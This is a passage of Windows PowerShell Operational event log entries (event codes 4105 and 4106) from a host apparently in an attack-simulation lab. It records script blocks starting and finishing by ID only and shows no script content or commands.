ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039757
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039756
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039755
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039754
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039737
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039731
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039723
Keywords=None
